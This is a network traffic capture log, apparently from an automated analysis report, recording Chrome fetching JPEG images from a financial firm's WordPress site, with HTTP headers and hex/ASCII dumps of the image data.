hY"@wa{wP@%ES~@e-)PcwH;i">RlbW;iS!@B3/z2vOc%XDDv7PmCWniRJSm:aZr#bi#7-z\j<m1JoXe={Hb&#4?OC[~eXMgqGH
2024-04-11 20:35:00 UTC	16384	IN	Data Raw: 66 98 6c 2e 4a bc 6c b6 94 03 d5 98 bd 0f e6 10 f9 77 0d 20 f0 69 29 ef 22 ab cd eb 30 0a 43 b7 24 81 6d 44 0b 0e c1 ee a8 44 df dc af 93 1f 91 e2 ad e0 6e 07 c6 9b 21 68 6e 7c 9c bf 38 ca d9 4a 74 23 62 a2 d6 5d d6 b0 7e 44 16 f4 3e 9d ba ba df 44 74 f4 53 3b c8 4c 9a d1 f3 5a ac ff 00 58 ee 8a 16 c4 c6 93 c5 ce b7 0c 13 2e 16 a8 d5 bf ee 5b ee ae 5b 7e 1a db 8e 01 ac 76 24 46 e0 45 8d 55 c2 76 16 72 98 82 da b5 8e db 4f 5c 7e a0 ca d9 64 9d 50 95 13 b9 47 5e e7 5e ad 0f 47 74 b5 0a f9 ca 67 a8 0c 32 b0 bd 55 3e aa ea ae fa 44 22 e6 c8 4f cc d4 3e 5f bd 6f 7a 36 a8 6e 53 7c d9 97 54 a1 6d f9 1c 8d 81 70 fe 11 8c 16 d5 df 72 51 27 f4 24 ad 08 4f a8 21 47 53 d5 d6 7a 67 a2 b5 a9 e5 b9 ce 18 92 e2 57 9a 28 aa 67 d4 5d 69 df 43 d8 d2 b7 f0 81 ee b1 aa fa f7 Data Ascii: fl.Jlw i)"0C$mDDn!hn\|8Jt#b]~D>DtS;LZX.[[~v$FEUvrO\~dPG^^Gtg2U>D"O>_oz6nS\|TmprQ'$O!GSzgW(g]iC
2024-04-11 20:35:00 UTC	16384	IN	Data Raw: 29 2e 7a 1f 51 b9 89 09 ef f0 fa ba 28 39 1c 68 0f 26 fc 39 85 fc eb ea 17 f6 7b 8a e8 f6 07 92 4a 8f e4 2e 59 7b c2 cf 97 ab 69 94 de f3 51 c5 78 54 24 87 84 08 92 1e 2d b4 5f 3f fd 31 af c4 fa 75 0e bc 53 d3 7b 61 7d 27 7a f5 ee 65 ab e7 8f dc f7 6a f5 38 20 e1 b5 66 56 b9 71 f8 57 44 a5 25 fd aa 4b e2 51 d5 24 28 2b f5 3d ba 7c 74 12 2d 21 12 3e 47 40 7a e2 10 e4 8b dd 5e 7a b9 e2 3d be 1c ea 3c b8 ec 9d 06 91 f4 46 ba 79 d3 5c 49 51 f8 ee 97 73 31 64 7f 9f 44 69 6a ea 77 1f 6b 7e 35 14 28 80 a1 f6 ef a4 eb 5b 6a 29 60 a9 80 b4 8e c8 8c 2b 10 bd 01 d3 b1 89 51 2b d0 ff 00 cd af 4e f2 49 43 8d fb bd d4 ea 45 b3 4f 7f e5 41 5c 2b 35 10 63 2d d0 df 63 a7 fe ad bf 50 35 3a 08 55 91 10 7f cf 43 d0 9c d5 75 89 c6 98 38 62 50 37 97 e3 f9 d0 1f 82 a7 1b 2d cd Data Ascii: ).zQ(9h&9{J.Y{iQxT$-_?1uS{a}'zej8 fVqWD%KQ$(+=\|t-!>G@z^z=<Fy\IQs1dDijwk~5([j)`+Q+NICEOA\+5c-cP5:UCu8bP7-
2024-04-11 20:35:00 UTC	16384	IN	Data Raw: 7c af 0d c8 72 fc ff 00 30 fb 0c f6 3d a9 b0 a5 a6 79 78 9d f6 22 b7 a2 d6 64 31 67 63 7f 66 c4 f9 2c a2 5c 74 f8 ab a4 bd 20 96 42 82 1d 4a 74 1a 28 f5 89 d7 36 ec df 75 16 99 43 8b 1c 41 4c 8e 85 71 0a 46 56 ad dd 98 f2 61 25 a5 24 63 40 07 1f a8 a6 55 a6 7f 6e 0c b2 b7 14 f7 65 57 9e 71 cd 15 92 f3 38 d8 0f 2f b3 59 ff 00 ba 79 34 39 b8 a0 ab a5 e2 cb cc 92 d9 a7 ea 31 2a 7a ab 54 3c d4 0c 79 a8 91 d4 99 8a 69 b7 de dc a4 2f 6e c3 67 d3 b1 0d af 53 8d f0 b7 4c ae 89 ee 57 29 00 1c 88 b2 b8 f6 d0 77 ed 63 b6 cf 6b 9c 4c 7a da 10 20 36 f7 e1 59 9f 92 ae e0 ca 7b 2b 8f 2b 1b a4 a5 bd e4 29 b8 e6 75 fa 8b 09 93 32 e9 34 76 79 1a e3 a5 16 17 16 6c c3 5d 6c 69 d0 e1 a7 ed eb 01 43 ad b2 b5 ba e2 b5 71 09 17 7a d4 7b 7d de db 73 b8 76 97 6e 61 72 b9 3f 99 a0 Data Ascii: \|r0=yx"d1gcf,\t BJt(6uCALqFVa%$c@UneWq8/Yy491*zT<yi/ngSLW)wckLz 6Y{++)u24vyl]liCqz{}svnar?
2024-04-11 20:35:00 UTC	16384	IN	Data Raw: 9b 31 e4 b4 b5 a9 88 95 68 71 4c 42 2b 2b 78 38 fa 54 ae ad ed 9e c9 23 d6 d2 a1 31 44 24 aa 5c 65 c8 50 de e1 a8 11 99 c3 90 e7 52 18 34 b2 73 8c 46 f2 89 f8 f5 98 36 1d 83 72 07 1e 64 99 bf 22 5e c8 71 cc 79 86 29 ec b2 d8 6f 41 89 57 07 74 dc 8f 37 c9 61 30 d3 55 d4 b5 c9 32 e4 b8 e2 09 0d b2 1c 79 04 6b 24 2f d4 e7 01 0f cb b3 89 a7 73 9a 5a 43 42 bc a6 7e de fa 9b e4 fc b0 8e 59 b5 c9 64 62 d8 e3 98 37 16 4a cb b2 7c e9 ac 22 7c d1 63 6f 93 5d 89 95 b6 03 34 ce ec c2 f7 cb c9 6a 95 18 0a da a6 96 6b 6a 52 da 43 68 71 ed cf 29 bc c6 83 a4 23 58 09 b7 1e 67 da d4 c0 73 57 7b 61 c2 a1 d6 ca 62 9e 02 4a b6 99 56 d9 35 3d 82 18 69 b7 10 87 17 57 22 43 2e 3e f2 75 3e 34 a6 39 dc a4 a8 ee 1e 4e de 87 a9 c5 20 2f 69 38 92 7e 54 cf 08 ce 06 d5 5d d1 5b ad 14 Data Ascii: 1hqLB++x8T#1D$\ePR4sF6rd"^qy)oAWt7a0U2yk$/sZCB~Ydb7J\|"\|co]4jkjRChq)#XgsW{abJV5=iW"C.>u>49N /i8~T][
2024-04-11 20:35:00 UTC	16384	IN	Data Raw: 0a 68 d9 fd d3 6c c2 5c 58 f9 1e 05 95 1a 46 5c 80 04 a9 ec 17 a8 35 cf fb 19 9e 1a c5 0d 6d f8 91 8a e6 ab 64 fc ea ba a9 c6 05 98 7e f2 4b d2 2b 24 92 dc a1 2e bc 69 2e b2 20 7a 1c c3 26 2c a7 10 c3 f0 52 85 c3 6c ad 95 05 17 c2 7b 7c 89 e1 de bf 57 92 03 d3 4e 60 a2 9b 21 f7 a9 4a 8c 9b 36 48 df 34 96 dc 2f 87 14 ff 00 01 65 ca 9b f2 9a 3a 6b 9c b6 ba d5 53 19 94 b8 d5 6e 47 89 e5 09 94 fc 7b 1b 97 e1 3b 2a c6 b9 a5 a5 b5 7d be d8 01 4e a1 b6 c3 89 53 e1 b0 ad 88 4f 56 26 dc 4c 1a 18 c2 e6 91 e1 09 81 01 bf ab 90 38 13 85 56 6e da 13 e3 28 5a 1a b9 a8 2b 64 4b 2e 46 a6 ec 61 b8 b5 db 56 54 ee d4 c4 8f 0a 55 0b d4 12 22 ae 1b 0a ae 69 2a 8e dc 69 16 2d 4b 72 5a 5f 5a 82 d6 56 b5 a1 65 d0 b0 94 12 91 db ac d1 b9 dd 99 dc 4c 8a c0 43 83 81 c0 34 ab 82 70 Data Ascii: hl\XF\5md~K+$.i. z&,Rl{\|WN`!J6H4/e:kSnG{;}NSOV&L8Vn(Z+dK.FaVTU"ii-KrZ_ZVeLC4p
2024-04-11 20:35:00 UTC	16384	IN	Data Raw: 01 4b 38 34 ad b0 e1 4d 13 9d a6 4e 08 e5 fc 3d d5 72 67 99 ed 6d ee 7d ec cd cb 4c 6a e2 55 33 88 87 53 90 46 ac 9f 5d 50 bb 38 fc a1 85 56 96 e9 50 86 de 32 e3 d9 d9 c8 8c eb 82 22 0a 81 74 6e 05 0a 2a 4f 55 fc a7 b8 cf 1b 9a be 02 54 7f a9 6d 98 22 d4 56 4a 01 61 6d 89 29 7e cc f8 8f 8d 66 0e 71 bb bb 8f cd 59 fa ed 68 9a af 86 dc ac 53 2d cb 64 3a 59 bf b3 83 55 8e 55 3d 8c bd 99 c5 b5 a7 79 2c 2c 42 a4 72 3a 65 21 b6 f6 2d 2b 59 de a2 82 7a c3 ea c1 ec d8 6c f7 8e 07 c9 87 70 e2 e2 1c 88 d5 05 0e 64 13 c3 be d5 a3 d3 b4 3e 7d c6 dd a5 25 96 10 1a 08 b1 3f 25 e0 bd d5 5a c1 93 67 65 57 c9 15 92 6b d4 d4 ea 4c 7e d7 23 89 26 3d cf 95 b8 49 8f 96 b5 4e 97 a3 80 ca 54 a4 c3 4b 8d 38 5a 4b 3a 16 d7 a8 51 0a 51 e8 fd 4a 79 76 dd 69 93 c4 5a 76 53 31 5c ec Data Ascii: K84MN=rgm}LjU3SF]P8VP2"tn*OUTm"VJam)~fqYhS-d:YUU=y,,Br:e!-+Yzlpd>}%?%ZgeWkL~#&=INTK8ZK:QQJyviZvS1\
2024-04-11 20:35:00 UTC	10388	IN	Data Raw: 5a 06 78 a6 54 89 1c d6 80 a2 e6 bd d4 00 1a 6a 34 50 da 35 f5 d7 b8 1f c7 a8 86 27 05 a5 a8 8b e7 49 1c 7d 43 6e ba 10 35 1a a7 51 a0 07 b0 3b 81 4a 47 7f e3 d2 6b 4b 4a e5 4c ba b0 c6 9b d4 b7 7e ad 15 b0 b8 48 28 4a 94 86 14 8f 45 34 b4 27 eb 71 0b f5 50 ec 14 74 f8 74 e4 06 b7 b3 df 4d 8d 78 eb eb 2d ee 67 e9 71 1f 90 ac 6a 1d 51 ec a4 f8 50 0a 42 74 fc a7 e7 a7 4c b9 62 73 f6 e3 4b 34 a6 65 30 f4 69 30 a6 48 b0 b3 59 86 1f 40 79 13 0b ab 90 d4 a7 c4 87 a0 ce 52 d0 4c 98 7b 92 02 1b d0 78 80 d5 04 1e fd 0a 4d b4 53 23 8e a0 e6 e0 55 0f 61 e2 39 61 52 12 38 58 a6 9e 19 54 a8 59 47 79 c4 29 95 27 c4 f0 d3 72 d4 00 6d ed 3e 96 54 09 f5 50 ee 35 ff 00 7f 53 42 1a 89 61 51 5b f3 34 35 bb df 6e bf 50 d3 e1 d8 1f 80 ed df 5d 3a 8f ca 95 12 5c 1a 6a 35 4a 81 Data Ascii: ZxTj4P5'I}Cn5Q;JGkKJL~H(JE4'qPttMx-gqjQPBtLbsK4e0i0HY@yRL{xMS#Ua9aR8XTYGy)'rm>TP5SBaQ[45nP]:\j5J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49826	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:00 UTC	383	OUT	GET /wp-content/uploads/2024/04/RMD-2023.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:00 UTC	713	IN	HTTP/1.1 200 OK Connection: close Content-Length: 67933 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/jpeg x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "66155079-1095d" last-modified: Tue, 09 Apr 2024 14:28:09 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:00 GMT X-Served-By: cache-ewr18155-EWR, cache-ewr18146-EWR X-Cache: MISS, HIT X-Cache-Hits: 0, 1 X-Timer: S1712867700.489740,VS0,VE2 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:00 UTC	16384	IN	Data Raw: ff d8 ff e1 00 68 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 01 00 98 82 02 00 43 00 00 00 1a 00 00 00 00 00 00 00 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 32 33 20 5a 6f 6c 61 6b 2f 53 68 75 74 74 65 72 73 74 6f 63 6b 2e 20 20 4e 6f 20 75 73 65 20 77 69 74 68 6f 75 74 20 70 65 72 6d 69 73 73 69 6f 6e 2e 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 05 45 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 Data Ascii: hExifII*CCopyright (c) 2023 Zolak/Shutterstock. No use without permission.DuckyPEhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmp
2024-04-11 20:35:00 UTC	16384	IN	Data Raw: f5 ff 00 03 88 a6 a4 aa 07 17 17 42 2c 74 8d 14 4d 2a 8a b1 a1 00 15 62 3f cc 14 54 53 0a 9a 8e 61 6a b9 0a 32 2d 58 87 dc db 85 05 76 00 ca 75 52 d5 03 2f 8e 2c 54 6c 56 b0 39 ed da 36 89 1f dd 0f bb 6c f4 76 5e e1 91 a3 65 00 02 1a 38 d8 64 32 eb 8f 29 fd c7 93 8e 9e 9d fe d6 65 68 7f dc 6c e8 ac 20 7a 11 1a e4 14 63 e6 d9 ac 4d e8 da 93 5c 26 d2 1f 69 a6 ba e0 90 1a d6 9f 2d 31 08 01 1f 3c 12 02 7a f4 ad 71 08 0d 68 08 f0 d0 e2 10 4b 9e 95 d3 31 82 88 28 9a 93 9f cf 0e 40 34 c3 22 14 f1 c3 22 0a 35 27 c7 a9 a9 c1 20 87 22 95 a5 48 d3 3a e0 a2 09 3e 3e 3a 53 0c 01 6d f2 d3 53 82 80 85 1c ab 5e ba e1 90 5e 19 09 6d 72 f1 cb 16 22 6c 17 fd 8e 09 10 04 fc 69 86 48 27 8c fb b7 df dc 8f 01 1f 1b d9 7d 9e 1a eb dc 0e f1 22 0e 3c 44 2a 78 fb 59 2a ad 74 fd 15 Data Ascii: B,tMb?TSaj2-XvuR/,TlV96lv^e8d2)ehl zcM\&i-1<zqhK1(@4""5' "H:>>:SmS^^mr"liH'}"<DxY*t
2024-04-11 20:35:00 UTC	16384	IN	Data Raw: 2f 5f 8d 7b 7e 3a 05 8e da f5 3d 58 9d 1e 4b 90 ee 54 37 f1 58 28 3b 98 12 a7 71 3e 38 cb a1 8b 5c 0d d6 fe 9f 3d 87 37 73 7d cf 71 7c a5 d0 53 6f d9 bc 07 2f cd 4f b5 5f f8 53 dc 5b b7 1f 63 14 a4 ee 50 56 5b cd fb 54 eb f2 c6 26 b6 e2 8d aa 6f 74 f7 99 7a 18 39 5d ae e5 53 9e bd c4 97 bc 75 e5 ed 84 92 00 23 bb b9 8d 61 11 90 83 f2 f3 15 2a 09 15 60 48 ce a7 19 ab 13 0a 58 1d 55 fe 95 cd 7f fc bb df 7b 47 b6 22 cf 7f 6f dd c5 bb ca ad 28 37 a8 42 f5 c8 3a 9f 0c 69 ba c4 6a a3 e2 6e 7a 3c a9 ce bb bd e5 cf fa a5 42 cb c1 7b 13 cc 34 0a 89 05 f7 70 59 4f 10 af 94 b4 76 53 0a 32 d0 f8 9a 74 c0 e8 f5 5c cb bb de 4e ae 95 22 fb fd c7 35 fd 88 e4 5a c3 de af 66 b9 9b 31 6d 6d 35 8f 7d 76 f8 a0 21 14 2b df 44 ad 40 49 6a 6d 35 27 1b 5b ea b6 e4 b8 33 55 61 d2 Data Ascii: /_{~:=XKT7X(;q>8\=7s}q\|So/O_S[cPV[T&otz9]Su#a*`HXU{G"o(7B:ijnz<B{4pYOvS2t\N"5Zf1mm5}v!+D@Ijm5'[3Ua
2024-04-11 20:35:00 UTC	16384	IN	Data Raw: 2f 09 45 ad 8d 70 36 f2 54 2f 8d 4e a7 53 4a fc f1 65 d4 a9 88 88 a8 a3 d4 85 35 15 c8 fc 30 8a 92 ab 48 39 0d 15 24 0a 82 ba 0f 0f 1c 5d 46 df 0c 85 20 f2 33 14 8d 62 8b 3b 8b 80 c2 25 24 8f 20 1e 77 cb 4a 68 3e 27 1d 3f 93 3c be ba e7 54 85 b9 c6 b6 6d 52 ed ca e4 e3 17 f0 c3 83 9c f0 fe 94 cc 7d 55 ef a3 6d d3 37 82 1b 6d 6f 25 bd ba 23 ca c8 65 56 92 08 63 f3 bf 97 5a 13 91 20 f5 d0 63 e9 e7 29 36 dc b0 6f 13 41 86 cd 83 00 56 89 09 07 f2 d5 da d2 b3 b3 09 08 35 02 80 7f 10 d7 53 f4 d7 c7 0b 5a ae 1b fb 67 ec 0e 4f 8f 6f 40 f5 16 eb 52 5b 64 71 02 e8 b2 6a a7 2a d0 01 40 c7 f4 8c 3d 57 a0 5a 31 0d 04 73 b9 9e 68 d4 26 f0 aa d2 56 59 1d 97 30 0d 3a 53 5d 4d 70 a9 29 62 1a b4 63 5d f3 da 11 77 cf 11 27 15 75 71 27 0d 73 15 c2 5e 76 f7 71 44 bf f9 9c 75 Data Ascii: /Ep6T/NSJe50H9$]F 3b;%$ wJh>'?<TmR}Um7mo%#eVcZ c)6oAV5SZgOo@R[dqj*@=WZ1sh&VY0:S]Mp)bc]w'uq's^vqDu
2024-04-11 20:35:00 UTC	2397	IN	Data Raw: 6d 91 f1 cd 15 80 4e 80 11 04 64 9c f2 c8 fc 71 d7 e9 7f 6e ba 06 9a 8f f4 dc fc 64 db 31 67 d4 6f 4b 05 45 e0 62 97 1d b1 03 72 af ba e7 97 b8 59 53 d4 59 e5 e4 ee a5 92 46 14 2a 61 02 5d 8d 41 b8 30 c8 e3 71 0e 83 d3 6d 51 43 4b 6d 2d dc a9 93 f5 17 5a 7f 1b 2f 96 fc 77 29 c4 db dd 5e 76 f7 31 7a 97 16 91 bc 91 f1 b3 ce f7 56 b7 0c be 6f 49 d2 66 6f a8 68 41 14 e9 a6 35 fd 4b c9 1d 23 aa 41 db 9d 88 42 4d 3a 4e 0b 96 51 7b 1e 18 3e 29 e6 89 fa cb 90 c6 b5 ef 32 0e d9 ef 9e 2f ba 6d 20 bb b7 63 11 98 79 a2 2c 0e c9 01 a3 27 fe d6 04 63 e6 5e a5 d1 ef 68 2e 4a dc f3 8b a1 b6 8c d4 95 51 96 d7 a7 50 05 08 35 cb 1a b1 d8 24 9c e9 9d 74 cf 10 82 a4 cc 78 9f d7 4c 34 42 99 86 77 97 05 27 3d c4 22 da 4e b6 7c cf 15 38 bd e0 6f d8 54 43 70 a2 94 6f f4 48 b5 47 Data Ascii: mNdqnd1goKEbrYSYF*a]A0qmQCKm-Z/w)^v1zVoIfohA5K#ABM:NQ{>)2/m cy,'c^h.JQP5$txL4Bw'="N\|8oTCpoHG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49825	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:00 UTC	397	OUT	GET /wp-content/uploads/2017/07/shutterstock_559577665.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:00 UTC	714	IN	HTTP/1.1 200 OK Connection: close Content-Length: 26276 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/jpeg x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "59a7c79f-66a4" last-modified: Thu, 31 Aug 2017 08:23:59 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:00 GMT X-Served-By: cache-lga21966-LGA, cache-lga21945-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867700.492690,VS0,VE48 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c2 00 11 08 01 39 01 f4 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 04 03 01 00 00 00 00 00 00 00 00 00 00 00 00 03 04 05 06 01 02 07 08 ff c4 00 19 01 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 ec a0 73 a0 01 1b 25 Data Ascii: JFIFC!"$"$C9"s%
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 1e 9b 6a dc a7 c5 16 ee b9 bd f2 3e 97 c8 b9 6d b5 fe 95 db ad 73 c1 fa 77 2a b3 47 2c ef fb 96 62 4a 9b e4 e9 41 91 89 95 f6 f2 e9 76 5d 25 3c f6 34 91 c4 46 61 cb 7d 73 c1 92 e4 e2 bd a2 b9 ba fb 9a 2a 86 dd 16 a7 39 41 89 d4 5e 2b 4f 22 6b b7 f2 a1 61 ae dd cb 07 3c ba d4 f3 2d d4 2e a3 4e f3 fa ad 6b 73 ae 92 e6 de 62 16 5f cb db 76 4f 19 f2 f4 8b a6 ef 64 50 93 d7 d5 e5 8f a1 74 be 59 d3 94 3d 26 dd 4e eb ad f1 a1 ab b9 a0 7a bc e7 47 9b 3d 17 3c fd ea d9 b8 8d cb 9b f4 cd fa a7 6c a5 0d ba 4d 2b aa e6 f1 f8 e7 6c 3d 18 b9 cd 4c 45 79 7a f3 b6 5b 6b eb e5 a7 65 a0 5e fc dd 59 73 59 9a f7 5e 69 ce 33 94 db bd 6f 9c f9 b5 a9 b6 21 ac 74 bc 75 89 38 5d c2 c0 f2 8e e6 c3 52 8d 54 eb 47 4e 5c ee cd 60 df 37 9d cc 5b 96 9a e6 13 17 34 2e 6a 54 de c2 e1 79 Data Ascii: j>mswG,bJAv]%<4Fa}s9A^+O"ka<-.Nksb_vOdPtY=&NzG=<lM+l=LEyz[ke^YsY^i3o!tu8]RTGN\`7[4.jTy
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 8d d4 62 8f 54 18 aa fd 78 60 b3 dd e4 68 ab 9d a1 0d d7 d9 51 d9 4c c6 82 99 29 ad 5f b0 de db 01 9e 98 00 00 3f ff c4 00 2e 10 00 00 06 00 04 04 06 02 03 01 01 00 00 00 00 00 00 01 02 03 04 05 06 11 12 13 10 20 21 31 14 15 22 30 32 33 23 24 16 34 40 41 25 ff da 00 08 01 01 00 01 05 02 e5 b1 56 98 ac b8 a2 9d 10 f3 63 d9 77 e0 60 81 04 77 2e dc f2 be 2d f7 77 e6 9f a9 8f b6 67 c2 17 c1 cf ec af eb 89 d9 ee e5 d9 3d f8 58 fc 5c 09 ed c0 b9 64 3a 86 51 2a e1 46 6e cb 79 c1 99 f0 c8 65 cf 88 26 37 1e 1a 17 93 b4 f2 5b 91 17 d9 77 e0 60 81 04 77 2f 62 57 c5 1d dd f9 a7 ea 63 ed 99 f0 85 f0 73 fb 2b fa e2 76 7b b9 76 4f 7e 16 3f 17 02 7b 70 2e 5c 40 e6 65 91 0e 9e d3 aa d2 8c 41 2d 52 e7 69 18 5a 6a a3 cc 49 e6 9f 61 cf 80 20 41 1d fd 89 5f 14 77 77 e6 9f a9 Data Ascii: bTx`hQL)_?. !1"023#$4@A%Vcw`w.-wg=X\d:Q*Fnye&7[w`w/bWcs+v{vO~?{p.\@eA-RiZjIa A_ww
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: cf a0 67 3d 4c cd b3 b3 23 66 e1 fb 88 fb 30 5b 34 c2 a8 84 dc b4 d7 ad 51 2d 2e 1d 26 62 50 33 aa 43 7d b8 2f 81 02 e0 a1 68 79 43 89 fd 87 4f 37 3d 87 fa 35 68 a2 54 9c 3a 59 cc c4 8a 56 db 86 30 92 3a e2 f2 0a cc 43 2f cf 58 5a 62 62 87 52 ec f3 c8 2b 2c a8 93 d1 3d 19 bb 71 47 3e af d7 63 48 5b d6 fc f6 f0 0e c1 15 f1 53 0e 24 ca 54 48 9f 27 0f a1 f9 11 30 fc 46 9c 0f e1 f8 ce bf 1d a4 b0 cc 1a 78 f1 25 b9 87 a1 a9 55 f5 51 21 29 f8 cc c9 24 54 43 4a 9e 8e d3 b1 e1 c5 6a 2a 1d ae 8a e3 f3 e2 b5 24 45 69 0c 13 5d 81 85 f0 4f 13 17 27 94 66 4f 24 67 ec cb 3c 98 9c ad 4e 61 84 fe 5c 48 b3 dc 70 61 54 7e 0c 59 ab c5 ab 31 58 9d 52 23 16 51 b1 02 4b cc cc 82 88 52 27 a1 9e 96 ae 56 97 66 d6 96 95 e1 64 67 3b fc 49 ef c8 b0 7d 14 c1 f4 06 17 c0 b8 28 c1 0b Data Ascii: g=L#f0[4Q-.&bP3C}/hyCO7=5hT:YV0:C/XZbbR+,=qG>cH[S$TH'0Fx%UQ!)$TCJj*$Ei]O'fO$g<Na\HpaT~Y1XR#QKR'Vfdg;I}(
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 1a 92 35 a4 6b 21 b8 37 06 b3 1a 94 33 31 8a d5 f9 7e 34 d9 7b 26 24 97 a5 e2 f5 20 ba b8 91 90 64 83 e5 c1 1d da f8 49 2e a0 82 02 51 b8 a7 0b c4 dd f3 99 91 17 8a 4e af 68 94 93 ff 00 06 27 56 76 32 8f 4d 0f b4 f9 66 97 cb aa 0b ab 85 d0 c8 32 41 f2 e8 64 11 dd 9f 8c a2 eb c1 02 bb fb 98 6d 1b b7 5c f6 07 f8 57 e1 cd 2d 7d 5c 67 ba f7 8a 4e 7a 78 d8 38 7a 9a 7b 44 8e 49 72 1c 31 05 e5 1a bd 9c 40 ad 56 d6 c7 a6 a0 66 33 19 8c f8 65 c8 ef 67 fe 49 2e ab 2e 86 41 a2 ea f9 74 32 09 ee cf c6 51 03 2e 08 11 bd 2d 60 c4 67 62 32 3e 67 9b 27 10 cc 32 4a b9 14 c2 14 f7 24 e6 d5 bb 16 33 8b 7f 89 f6 73 34 1c 04 19 b9 ec da 2f 5d 95 ff 00 46 7d a7 7b 3e 5d 52 5d 54 5d 0c 83 45 d5 e2 e8 a2 ea da 0d 47 1a 2b e6 97 6a e5 38 11 40 e1 84 50 47 20 8a 88 29 1e 5c c6 df Data Ascii: 5k!731~4{&$ dI.QNh'Vv2Mf2Adm\W-}\gNzx8z{DIr1@Vf3egI..At2Q.-`gb2>g'2J$3s4/]F}{>]R]T]EG+j8@PG )\
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 16 f6 3f b5 77 ba c5 24 66 8c d1 9a 33 3b 28 a2 bf e1 5d ea cc 4c 51 8a 31 46 28 a4 56 8b 7a 94 52 e5 0e 4b d2 fb 17 7a 4a 54 3e 4c 91 f2 44 f9 a2 7c e8 f9 cf 9d 9f 33 3e 69 10 f2 36 66 cc d9 9b 3c 4e 53 7f d1 89 fe a4 07 fe 3a 27 39 42 58 b1 73 f4 51 c1 5e cb 6c 87 64 fb 27 d1 83 30 30 30 30 30 30 30 21 12 8a 46 29 f0 45 28 ae 08 8a 4c 6d 9e 78 a7 c8 b7 5a ba 24 eb 84 2f c8 8f 5a 43 b1 f6 4b e9 93 69 0d 62 d1 c5 7f 64 b8 91 08 60 a8 87 7a 33 cc 2d ab b3 f9 12 fd 1f c0 f4 4b a1 10 d2 5f 4b e4 c6 4f b3 02 31 b9 d8 cf 1f 63 19 e4 77 21 6d 5d 90 ec 7d 8f f1 a4 b4 87 5a 3f ab 34 5c 6a c4 ef 94 7a 3c 44 89 c8 91 12 f6 74 ac 87 1c 8b 96 4d fa 22 89 09 58 f8 5a 63 66 03 55 f4 73 97 04 fc 72 e2 68 cb 28 d9 0e 62 78 89 c8 6e c9 0b 5e 0e 09 7f e1 2e 88 2d 1d 